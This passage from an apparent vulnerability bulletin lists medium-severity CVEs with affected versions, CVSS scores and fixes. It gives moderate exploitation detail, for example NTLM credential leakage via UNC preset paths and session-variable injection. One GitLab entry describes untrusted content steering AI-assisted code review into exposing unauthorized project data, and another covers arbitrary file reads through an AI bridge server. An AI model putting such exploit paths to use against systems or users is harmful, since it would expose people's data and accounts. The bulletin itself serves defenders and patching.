| CyberTimon--<br>RapidRAW                        | RapidRAW before 1.6.0 does not validate the lutPath field in preset files before passing it to File::open() in lut_processing.rs. On Windows, a UNC path in lutPath causes an outbound SMB connection to an attacker-controlled host, leaking the victim's NTLMv2 credentials. The vulnerable code path is reachable through two vectors: community presets fetched automatically from the remote preset repository when the victim opens the Community tab, and individual preset files imported directly by the victim via the preset import feature (handle_import_presets_from_file in file_management.rs). The second vector does not require control of the community preset repository and is triggered when a user imports a preset file shared through Discord, forums, or similar channels. | 2026-07-30 | 6.5        | <a href="#">CVE-2026-64816</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| DaveGamble--<br>cJSON                 | cJSON through 1.7.19 contains an inefficient algorithmic complexity flaw in cJSON_Compare(). When comparing objects, the function recurses into each shared subtree twice, once in each direction, with no depth guard, making the running time exponential in nesting depth. A small, deeply nested document of a few hundred bytes (depth around 40) compared for equality consumes hours of CPU, and the cost roughly doubles with each additional level of nesting. An application that calls cJSON_Compare() on attacker-influenced JSON that is structurally equal to a reference document is exposed to a denial-of-service condition.                                                                                                                            | 2026-07-29 | 5.9        | <a href="#">CVE-2026-67216</a> |
| DaveGamble--<br>cJSON                 | cJSON through 1.7.19 applies RFC 6902 JSON Patch operations non-atomically in apply_patch() in cJSON_Utils.c. For a replace operation that is missing its value member, or a move operation whose destination path cannot be resolved, the existing target member is detached and deleted before the operation is fully validated, so the target document is mutated while cJSONUtils_ApplyPatches() or cJSONUtils_ApplyPatchesCaseSensitive() returns a failure status. An attacker who can supply the patch document can destroy addressable members of the target document even though the API reports that the patch failed, defeating the all-or-nothing behavior callers rely on to reject bad patches.                                                            | 2026-07-29 | 5.3        | <a href="#">CVE-2026-67217</a> |
| davejesch--<br>Database Collation Fix | The Database Collation Fix plugin for WordPress is vulnerable to time-based SQL Injection via the 'force-collation-algorithm' parameter in all versions up to, and including, 1.2.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires a trigger.txt file to be present in the plugin's directory (/wp-content/plugins/database-collation-fix/trigger.txt), a condition created by DesktopServer integration events such as site creation, copy, import, move, export, or deploy. | 2026-08-01 | 5.3        | <a href="#">CVE-2026-15018</a> |
| decidim--decidim                      | Decidim is a participatory democracy framework. Prior to 0.30.9, from 0.31.0 before 0.31.5, and in 0.32.0.rc1 before 0.32.0.rc2, the normal download_your_data flow requires the requester to be logged in as the export owner, but the resulting Active Storage blob redirect URL can be replayed without authentication by anyone who obtains it. This is because Decidim::DownloadYourDataController#download_file authenticates the export owner but redirects to a signed Active Storage blob URL that is no longer bound to the owner session. This issue is fixed in versions 0.30.9, 0.31.5, and 0.32.0.rc2.                                                                                                                                                     | 2026-07-31 | 6.5        | <a href="#">CVE-2026-45377</a> |
| decidim--decidim                      | Decidim is a participatory democracy framework. From 0.31.1 before 0.31.5 and in 0.32.0.rc1 before 0.32.0.rc2, a participant can directly load /admin/demographics/questions/edit_questions and reach the demographics questionnaire editor without the required administrator authorization. The demographics questionnaire editor should require admin access, but the route under /admin/demographics/questions renders the editor interface without checking whether the caller is an admin. A normal participant can load the page and see the live update form action, which proves the protected interface is reachable. This issue is fixed in versions 0.31.5 and 0.32.0.rc2.                                                                                   | 2026-07-31 | 5.4        | <a href="#">CVE-2026-45086</a> |
| decidim--decidim                      | Decidim is a participatory democracy framework. Prior to 0.30.9, from 0.31.0 before 0.31.5, and in 0.32.0.rc1 before 0.32.0.rc2, the GET /admin/organization/users search interpolates params[:term] into raw Arel.sql ORDER BY similarity expressions before sanitization, allowing an authenticated organization administrator to execute blind PostgreSQL expressions and infer data through timing differences. This issue is fixed in versions 0.30.9, 0.31.5, and 0.32.0.rc2.                                                                                                                                                                                                                                                                                      | 2026-07-31 | 5.5        | <a href="#">CVE-2026-45376</a> |
| decidim--decidim                      | Decidim is a participatory democracy framework. Prior to 0.30.9, from 0.31.0 before 0.31.5, and in 0.32.0.rc1 before 0.32.0.rc2, the identity-document verification admin controllers load pending Authorization records by raw identifier                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-31 | 4.9        | <a href="#">CVE-2026-45330</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                 | without confirming current_organization ownership, allowing an administrator from one tenant to view, approve, or reject another tenant's ID-document request. This issue is fixed in versions 0.30.9, 0.31.5, and 0.32.0.rc2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |            |            |                                |
| deveasel--Demi One Click Demo Import, Backup & Site Migration                   | The Demi - One Click Demo Import, WP Backup & Site Migration plugin for WordPress is vulnerable to Arbitrary Directory Copy in all versions up to, and including, 0.0.8 via the handle_restore_step function. This is due to missing HTTP access controls on the wp-content/uploads/demi-backup-state/ directory, which exposes the cryptographic restore key used to both authenticate the unauthenticated AJAX handler and forge signed restore-state envelopes. This makes it possible for unauthenticated attackers to copy arbitrary files to attacker-controlled destinations on the server. An active restore operation must have been initiated, which writes the .restore_key and .restore_step_token files to the public upload directory, before the exposed secrets can be harvested and chained to achieve unauthenticated arbitrary file copy. | 2026-07-28 | 5.3        | <a href="#">CVE-2026-15012</a> |
| devitemslc--ShopLentor All-in-One WooCommerce Growth & Store Enhancement Plugin | The ShopLentor - All-in-One WooCommerce Growth & Store Enhancement Plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.4.5 via the 'optionSection' parameter due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to read arbitrary wp_options rows - including internal plugin news feed data, WooCommerce block pattern transients, and third-party configuration records - whose values are stored as arrays-of-arrays containing 'title' keys, enabling cross-plugin data leakage.                                                                                                                                                                                                                | 2026-07-28 | 4.3        | <a href="#">CVE-2026-16797</a> |
| devitemslc--ShopLentor All-in-One WooCommerce Growth & Store Enhancement Plugin | The ShopLentor - All-in-One WooCommerce Growth & Store Enhancement Plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 3.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                                                                       | 2026-07-28 | 4.9        | <a href="#">CVE-2026-16811</a> |
| dfir-iris--iris-web                                                             | The IRIS web application in version 2.4.26 and possibly others does not protect its MFA validation against brute-force attacks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 5.9        | <a href="#">CVE-2026-16971</a> |
| dfir-iris--iris-web                                                             | The IRIS web application in version 2.4.26 and possibly others does not protect its user authentication against brute-force attacks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-30 | 5.9        | <a href="#">CVE-2026-18362</a> |
| dfir-iris--iris-web                                                             | The IRIS web application in version 2.4.26 and possibly others contains a logout functionality which is ineffective. Stolen session cookies can therefore be misused for a long time.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-30 | 4.2        | <a href="#">CVE-2026-16970</a> |
| dotonpaper--Pinpoint Booking System Version 2                                   | The Pinpoint Booking System - Version 2 plugin for WordPress is vulnerable to blind SQL Injection via the 'field' parameter in all versions up to, and including, 2.9.9.6.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The nonce required to reach the vulnerable endpoint is emitted on all plugin admin pages loaded under manage_options, making it trivially obtainable by any authenticated administrator.                                                                                                                            | 2026-08-01 | 4.9        | <a href="#">CVE-2026-15403</a> |
| drakkan--SFTPGO                                                                 | SFTPGO prior to 2.7.4 contains a permission bypass vulnerability that allows authenticated users to circumvent per-directory access controls by creating symbolic links in a permitted directory that point to files in directories where download, upload, or overwrite permissions are denied. Attackers can exploit the create_symlinks permission combined with read and write access in one directory to read or modify files in restricted directories, as operations are authorized against the link's directory permissions rather than the dereferenced target's directory permissions.                                                                                                                                                                                                                                                             | 2026-07-30 | 4.2        | <a href="#">CVE-2026-10031</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| edge22--GenerateBlocks                               | The GenerateBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Dynamic Tag Injection in HTML Attributes in all versions up to, and including, 2.3.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A Contributor-level attacker can store the malicious payload by placing a dynamic tag such as {{post_meta key:...}} in a non-URL HTML attribute (e.g., title, aria-label, alt, or data-* attributes) of a GenerateBlocks element block, then setting the corresponding unprotected post meta key via the Custom Fields metabox to a value containing a closing quote and an injected event-handler attribute. | 2026-08-01 | 6.4        | <a href="#">CVE-2026-13458</a> |
| eLyIN--gemini-bridge                                 | gemini-bridge is a lightweight MCP server bridging AI agents to Google's Gemini AI via the official CLI. From 1.0.0 until 1.3.1, consult_gemini_with_files in inline mode read any file path supplied in the files argument without confining it to the working directory, then forwarded the contents to the Gemini CLI. Because the caller also controls query, the file contents are echoed back through the Gemini round-trip (and sent to Google), making this an arbitrary local file read. This issue is fixed in version 1.3.1.                                                                                                                                                                                                                                                                                                                    | 2026-07-31 | 6.2        | <a href="#">CVE-2026-54785</a> |
| facturadorvirtual--Facturacin Electrónica Costa Rica | The Facturaci3n Electr3nica Costa Rica plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.2. This is due to missing or incorrect nonce validation on the (global scope, included by fvr_admin_page_html) function. This makes it possible for unauthenticated attackers to modify the plugin's configuration, including API tokens, access tokens, economic activity, Hacienda environment mode, invoice and ticket emission flags, exchange rate, and branch settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.                                                                                                                                                                                                      | 2026-07-29 | 4.3        | <a href="#">CVE-2026-9720</a>  |
| Flipper Code--WP Maps                                | Insertion of Sensitive Information Into Sent Data vulnerability in Flipper Code WP Maps allows Retrieve Embedded Sensitive Data. This issue affects WP Maps: from n/a through 4.9.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-31 | 4.3        | <a href="#">CVE-2026-28144</a> |
| foomagoo--Plugin Organizer                           | The Plugin Organizer plugin for WordPress is vulnerable to SQL Injection via the 'PO_plugin_path' parameter in versions up to, and including, 10.2.4. This is due to insufficient escaping on the user-supplied parameter in the perform_plugin_search() function, where esc_sql() output is passed as the replacement string to preg_replace(), which collapses backslash escapes and defeats the quoting protection; additionally, the AJAX handler lacks both nonce verification and capability checks. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                 | 2026-07-28 | 6.5        | <a href="#">CVE-2026-15304</a> |
| Franky--Events Made Easy                             | Unauthenticated Broken Access Control in Events Made Easy <= 3.1.3 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-27 | 6.5        | <a href="#">CVE-2026-59557</a> |
| FreeRDP--FreeRDP                                     | FreeRDP before 3.29.0 contains a buffer over-disclosure vulnerability in the gateway WebSocket transport (libfreerdp/core/gateway/websocket.c). The client's Pong reply reuses a fixed 1024-byte response stream whose length is not sealed to the actual received Ping payload, so a malicious gateway/WebSocket peer sending a non-empty Ping control frame causes the client to reply with an overlong Pong that discloses bytes beyond the received payload (the peer receives the masking key and can unmask the reply). A zero-length Ping reaches an assertion and terminates the client (denial of service).                                                                                                                                                                                                                                       | 2026-08-01 | 6.5        | <a href="#">CVE-2026-67292</a> |
| FreeRDP--FreeRDP                                     | FreeRDP before 3.29.0 fails to properly validate server-supplied RDPDR paths in drive redirection, allowing attackers to access prefix-sibling paths outside the configured shared root. A malicious RDP server can read, write, delete, and enumerate files in sibling directories by sending non-rooted paths that bypass the shared-root boundary check.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-08-01 | 6.3        | <a href="#">CVE-2026-67295</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                                                                                                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| FreeRDP--FreeRDP                                                                                                           | FreeRDP before 3.29.0 improperly validates the Extended Key Usage (EKU) purpose of the peer certificate during client-side server TLS authentication. In x509_utils_verify(), when server-purpose (X509_PURPOSE_SSL_SERVER) verification fails, the code falls back to client-purpose and any-purpose verification, so a trusted, hostname-matching certificate valid only for clientAuth can be accepted as the RDP server certificate. In environments relying on EKU separation between client and server certificates, this allows a clientAuth-only certificate issued by a trusted CA to bypass server certificate purpose validation.                                                                                                                                 | 2026-08-01 | 5.9        | <a href="#">CVE-2026-67294</a> |
| FreeRDP--FreeRDP                                                                                                           | FreeRDP versions 3.28.0 and earlier contain an out-of-bounds read vulnerability in the RDP6 planar RLE bitmap decoder functions planar_decompress_plane_rle and planar_decompress_plane_rle_only in libfreerdp/codec/planar.c. Only the 1-byte control byte is bounds-checked; the subsequent 0-15 attacker-declared raw bytes are read without validating that the source buffer contains them. A malicious or compromised RDP server can send a truncated planar-encoded bitmap or surface update (reachable via both the Bitmap Update PDU and RDPGFX Surface Command paths) that causes the client to read past the end of the source buffer. The issue is fixed in FreeRDP 3.29.0.                                                                                      | 2026-08-01 | 5.4        | <a href="#">CVE-2026-67306</a> |
| FreeRDP--FreeRDP                                                                                                           | FreeRDP before 3.29.0 (affected versions <= 3.28.0) contains an improper certificate hostname validation vulnerability. The TLS hostname matcher (tls_match_hostname()) in libfreerdp/crypto/tls.c treats a wildcard pattern such as *.example.com as matching any hostname ending in .example.com, so it incorrectly accepts a wildcard certificate for multi-label subdomains like a.b.example.com (which OpenSSL's X509_check_host() rejects). This weakens TLS server authentication under wildcard-certificate conditions.                                                                                                                                                                                                                                              | 2026-08-01 | 4.2        | <a href="#">CVE-2026-67293</a> |
| FreeRDP--FreeRDP                                                                                                           | FreeRDP before 3.29.0 (affected versions <= 3.28.0) contains a divide-by-zero vulnerability in the rdpecam camera redirection client. ecam_dev_process_start_streams_request() parses a server-controlled CAM_MEDIA_TYPE_DESCRIPTION from a StartStreamsRequest PDU but validates only Format and Flags, not FrameRateDenominator. When a malicious or compromised RDP server sends a StartStreamsRequest with FrameRateDenominator set to zero, ecam_encoder_context_init() (channels/rdpecam/client/encoding.c) computes FrameRateNumerator / FrameRateDenominator, causing an integer division by zero (SIGFPE) and termination of the FreeRDP client process. Camera redirection must be enabled on the client for the channel to be reachable. Fixed in FreeRDP 3.29.0. | 2026-08-01 | 4.3        | <a href="#">CVE-2026-67302</a> |
| FreeRDP--FreeRDP                                                                                                           | FreeRDP before 3.29.0 contains a reachable assertion (WINPR_ASSERT(OutputBufferLength == BytesReturned)) in serial_process_irp_device_control() in channels/serial/client/serial_main.c. When serial device redirection is enabled and a server-controlled IRP_MJ_DEVICE_CONTROL request specifies an unsupported IOCTL with a non-zero OutputBufferLength, CommDeviceIoControl() can fail with BytesReturned = 0, causing the mismatch to trigger the assertion and abort the client process (denial of service).                                                                                                                                                                                                                                                           | 2026-08-01 | 4.3        | <a href="#">CVE-2026-67303</a> |
| fusewp--FuseWP WordPress User Sync to Email List & Marketing Automation (Mailchimp, Constant Contact, ActiveCampaign etc.) | The FuseWP plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.24.2. This is due to missing nonce verification on the toggle_sync_status() function. This makes it possible for unauthenticated attackers to toggle the status of sync rules (enable/disable) via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.                                                                                                                                                                                                                                                                                                                                  | 2026-07-30 | 4.3        | <a href="#">CVE-2026-5582</a>  |
| getgrav--grav                                                                                                              | Grav Login Plugin versions before 3.8.13 contain an insufficient session expiration vulnerability in TokenStorage.php where the findTriplet() method fails to properly validate Remember Me token timestamps. Attackers with a captured Remember                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-29 | 4.8        | <a href="#">CVE-2026-66400</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | Me cookie can authenticate indefinitely instead of the configured timeout period, as the expiry check compares an array to a scalar value which always evaluates incorrectly in PHP.                                                                                                                                                                  |            |            |                                |
| ggml-org--llama.cpp       | A vulnerability was detected in ggml-org llama.cpp d006858/e15efe0. This affects the function _visit_pattern of the file common/json-schema-to-grammar.cpp. The manipulation results in null pointer dereference. The attack can be launched remotely. The pull request to fix this issue awaits acceptance.                                          | 2026-07-27 | 5.3        | <a href="#">CVE-2026-17500</a> |
| ggml-org--llama.cpp       | A flaw has been found in ggml-org llama.cpp e15efe0. This vulnerability affects the function transform of the file common/json-schema-to-grammar.cpp of the component JSON-Schema-to-GBNF Conversion. This manipulation causes uncontrolled recursion. The attack may be initiated remotely. The pull request to fix this issue awaits acceptance.    | 2026-07-27 | 5.3        | <a href="#">CVE-2026-17501</a> |
| GitLab--GitLab            | GitLab has remediated an issue in GitLab EE affecting all versions from 17.0 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an authenticated user to merge code into a protected branch without the required approvals due to a race condition in approval rule processing.               | 2026-07-29 | 6.5        | <a href="#">CVE-2026-13113</a> |
| GitLab--GitLab            | GitLab has remediated an issue in GitLab EE affecting all versions from 18.8 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed some sensitive information to be disclosed to an unintended host due to improper handling of upstream requests in virtual registries.                         | 2026-07-29 | 5.4        | <a href="#">CVE-2026-16553</a> |
| GitLab--GitLab            | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 16.6 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an unauthorized user to view project import source information due to a missing authorization check.                                                       | 2026-07-29 | 5.3        | <a href="#">CVE-2026-6336</a>  |
| GitLab--GitLab            | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.8 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an authenticated user with Maintainer role to modify protected branch configuration due to improper authorization in a projects API endpoint.              | 2026-07-29 | 4.9        | <a href="#">CVE-2026-14341</a> |
| GitLab--GitLab            | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 8.8 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an unauthenticated user to view the title of a confidential issue through a publicly accessible merge request due to improper authorization checks.         | 2026-07-29 | 4.3        | <a href="#">CVE-2026-14351</a> |
| GitLab--GitLab            | GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.1.3 and 19.2 before 19.2.1 that under certain conditions could have allowed an authenticated user to access information from unauthorized projects due to improper neutralization of untrusted content processed by the AI-assisted code review functionality. | 2026-07-29 | 4.3        | <a href="#">CVE-2026-15077</a> |
| GitLab--GitLab            | GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.1.3 and 19.2 before 19.2.1 that under certain conditions could have allowed an authenticated user to bypass administrator-configured tool governance policies due to improper authorization enforcement during token generation.                               | 2026-07-29 | 4.3        | <a href="#">CVE-2026-15831</a> |
| GitLab--GitLab            | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 14.0 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an attacker to execute arbitrary JavaScript in another user's browser via a crafted URL, due to improper sanitization of user-controlled input.            | 2026-07-29 | 4.7        | <a href="#">CVE-2026-3093</a>  |
| GitLab--GitLab            | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.4 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an authenticated user with guest-role permissions                                                                                                          | 2026-07-29 | 4.3        | <a href="#">CVE-2026-4672</a>  |

# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | to access test report contents they were not authorized to view due to improper access control enforcement.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |            |            |                                |
| Gladinet--CentreStack     | CentreStack before 17.4 contains a session variable injection vulnerability that allows unauthenticated attackers to inject arbitrary session variables by embedding newline and tab characters into a crafted AccountName parameter posted to the SelectProvider.aspx endpoint. Attackers can exploit the lack of input sanitization in the custom session serialization format to inject a resellerid session variable, bypassing the IsValidRSession authentication check and gaining unauthorized access to management pages.                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-30 | 6.5        | <a href="#">CVE-2026-54364</a> |
| GNOME--GIMP               | A flaw was found in the file-sgi plugin in GIMP. When processing an RLE-compressed SGI image, the plugin allocates memory for a row table. The image header dimensions (ysize and zsize) are read as 16-bit unsigned integers. If a crafted file sets both dimensions to their maximum value (65535), the multiplication ysize * zsize overflows the standard 32-bit int boundary before being passed to calloc. This integer overflow issue results in undefined behavior, aborting the plugin and causing a denial of service.                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-27 | 5.5        | <a href="#">CVE-2026-66757</a> |
| go-vikunja--vikunja       | Vikunja versions >= 0.24.0 and <= 2.3.0 contain a broken object level authorization (BOLA) vulnerability in the task-collection endpoint (GET /api/v1/projects/{project}/views/{view}/tasks). The endpoint loads the requested project view from the URL path without verifying the caller is authorized for it. For a link-share token holder, the task scope is pinned to the share's own project, but the view is taken from the attacker-controlled path and never re-validated. As a result, a holder of any project share link can read any other tenant's kanban bucket records - bucket titles and the full created_by user object (username, name, id) - for every view in the instance. The same missing pre-authorization view load also creates a project/view-ID existence oracle (404 vs. non-404) usable by link shares and ordinary authenticated users. Task contents remain constrained to the share's own project and are not disclosed. Fixed in 2.4.0. | 2026-08-02 | 6.5        | <a href="#">CVE-2026-68582</a> |
| goshs-labs--goshs         | goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.5, the httpserver/updown.go multipart upload handler split part.FileName() on / but did not reject .., allowing an unauthenticated upload with filename .. to create a file outside the served tree. This issue is fixed in version 2.1.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-28 | 6.5        | <a href="#">CVE-2026-66063</a> |
| goshs-labs--goshs         | goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.5, the httpserver/handler.go sendFile handler opened files using a cleaned path but derived the authorization filename from raw req.URL.Path, so a trailing slash could bypass .goshs ACL-file protection and block-list checks. This issue is fixed in version 2.1.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-28 | 5.3        | <a href="#">CVE-2026-66064</a> |
| guzzle--guzzle            | guzzlehttp/guzzle versions before 7.14.2 fail to properly isolate Proxy-Authorization headers from origin servers in cURL handlers. Attackers can capture proxy credentials through origin server access logs when requests are redirected, bypassed, or sent through SOCKS proxies that Guzzle misclassifies as direct connections.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-08-01 | 5.3        | <a href="#">CVE-2026-67339</a> |
| guzzle--guzzle            | guzzlehttp/guzzle versions before 7.15.1 contain a denial of service vulnerability in the CookieJar that accepts unlimited Set-Cookie header fields with no size restrictions. Attackers can return many large cookies from a malicious server, causing Guzzle to store excessive data in memory and generate oversized Cookie headers that fail in handlers or destination servers.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-08-01 | 5.3        | <a href="#">CVE-2026-67353</a> |
| guzzle--guzzle            | guzzlehttp/guzzle versions before 7.15.1 contain an information disclosure vulnerability in RedirectMiddleware. When the optional allow_redirects.referer setting is enabled, the middleware copies the URI fragment (the portion after '#') from the referring request into the generated Referer header when following a same-scheme redirect (e.g., HTTPS to HTTPS). An attacker who controls the                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-08-01 | 5.9        | <a href="#">CVE-2026-67354</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                     | redirect destination can read this fragment from the incoming Referer header, potentially disclosing one-time login secrets, access tokens, state values, or other sensitive client data to a server never meant to receive it. The referer setting is disabled by default. Fixed in 7.15.1, which strips the fragment before generating the Referer value.                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |            |            |                                |
| guzzle--guzzle                                                      | guzzlehttp/guzzle versions before 7.15.1 fail to preserve host-only cookie scope, storing the request host in the Domain field instead of marking cookies as host-only. Attackers controlling child hosts can receive host-only cookies intended only for parent hosts, potentially disclosing session identifiers and authorization tokens when the same cookie jar is reused across trust boundaries.                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-08-01 | 5.9        | <a href="#">CVE-2026-67355</a> |
| HCL Software--HCL iControl                                          | HCL iControl v4.3.0 was affected by Security Misconfiguration vulnerabilities. It involves the public exposure of internal configuration files due to improper web server or application hardening.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-31 | 5.1        | <a href="#">CVE-2026-56567</a> |
| HCL Software--HCL iControl                                          | HCL iControl was affected by Sensitive Data Exposure vulnerabilities. It involves the public exposure of internal configuration files due to improper web server or application hardening.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-31 | 4          | <a href="#">CVE-2026-56569</a> |
| HCL--HCL iControl                                                   | HCL iControl was affected by Improper Input Validation vulnerability. It is vulnerable to unexpected system behavior and potential security bypasses. This was caused by an implementation flaw in an architectural security tactic that fails to properly validate whether the received input matches the expected type.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-31 | 4.3        | <a href="#">CVE-2025-62347</a> |
| hfiref0x--LightFTP                                                  | LightFTP 2.3.1 contains a race condition vulnerability that allows remote attackers to crash the server by racing a fresh connection that reuses the FTP context against an in-progress ABRT cleanup. Attackers can exploit the unprotected re-check of WorkerThreadId between worker_thread_cleanup() and pthread_join() outside of MTLock to cause pthread_join() to operate on an invalid thread ID, resulting in a server crash. CVE-2024-11144 identifies an incomplete fix of this vulnerability.                                                                                                                                                                                                                                                                                                                                 | 2026-07-31 | 5.9        | <a href="#">CVE-2026-67607</a> |
| HT Plugins--Insert Headers and Footers Code HT Script               | Unauthenticated Cross Site Request Forgery (CSRF) in Insert Headers and Footers Code - HT Script <= 1.1.8 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-27 | 4.3        | <a href="#">CVE-2026-66474</a> |
